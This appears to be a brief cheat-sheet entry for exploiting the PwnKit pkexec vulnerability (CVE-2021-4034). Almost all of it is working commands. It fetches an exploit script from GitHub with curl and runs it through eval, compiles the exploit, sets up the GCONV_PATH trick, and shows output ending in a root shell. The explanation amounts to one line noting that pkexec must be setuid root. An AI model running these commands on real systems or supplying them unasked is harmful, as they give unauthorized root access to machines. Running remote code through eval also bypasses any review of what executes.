pwnkit

Exploiting pkexec with pwnkit

Exploiting pkexec must be setuid root

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
ls
GCONV_PATH=.
LICENSE
Makefile
README.md
cve-2021-4034
cve-2021-4034.c
cve-2021-4034.sh
dry-run
gconv-modules
pwnkit.c
pwnkit.so
./cve-2021-4034
whoami
root